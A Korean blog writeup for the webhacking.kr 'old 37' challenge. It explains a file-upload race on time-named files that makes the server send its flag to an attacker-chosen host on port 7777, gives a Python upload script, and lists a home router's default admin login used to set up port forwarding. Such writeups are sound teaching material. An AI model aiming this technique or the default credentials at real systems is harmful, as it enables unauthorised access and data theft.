본문 바로가기

웹해킹/webhacking.kr

webhacking.kr old 37번 문제풀이(Writeup)

반응형

webhacking.kr old 37번 문제풀이(Writeup)

old 37번 문제풀이 1

문제를 들어가면 위와 같이 출력된다. 파일을 업로드할 수 있는 페이지가 나온다. 코드를 확인하자.

 

 

 

 

old 37번 문제풀이 2

 

먼저 db가 연결되어 있고, query를 알려준다.


select flag from challenge where idx=37

 

 

db와 query를 넣어서 MySQL에서 레코드를 가져와서 flag 변수에 저장한다. 파일을 ./tmp/tmp-시간을 통해 만들고 127.0.0.1을 저장하고 파일을 닫는다.

업로드 파일은 <, >, ., /, 공백이 필터링이 된다.

scandir을 통해 ./tmp 아래에 있는 모든 파일에 대해 출력하는 모습도 보인다.

 

마지막 코드 부분에 보면, file_get_content 함수를 통해 ./tmp/tmp-{$time} 파일 내의 데이터를 가져올 host변수에 담는다. 이후 host:7777로 flag값을 전달한다.

 

 

 

old 37번 문제풀이 3

일단 소켓으로 통신하기 때문에 7777 포트로 포워딩해야한다. 현재 쓰고 있는 공유기는 GIGA WIFI이기 때문에 172.30.1.254로 접속해서 ktuser, homejub로 초기 로그인 값으로 들어가면 된다.

 

 

old 37번 문제풀이 4

이후 트래픽 관리에서 외부포트 7777을 내부 포트 7777로 가져온다.

 

 

 

import requests
import time

URL="https://webhacking.kr/challenge/web-18/"
cookie = {"PHPSESSID":"lm0te621m1oav88jmhhekdc3jh"}

for i in range(0,10):
	file_name = "tmp-{}".format(int(time.time())+i)
	with open(file_name, "w") as f:
		f.write("Your IP")
        
	upload_file = {'upfile':open(file_name, "rb")}
	r = requests.post(URL+"index.php", cookies=cookie, files=upload_file)

	print(r.text)

이후 time 값을 통해 혹시 모를 오차를 생각해서 10개의 파일을 만들어서 request 해준다.

 

 

 

old 37번 문제풀이 5

스크립트를 돌리면 requests가 들어가면서 flag가 출력된다. FLAG{well...is_it_funny?_i_dont_think_so...}

 

728x90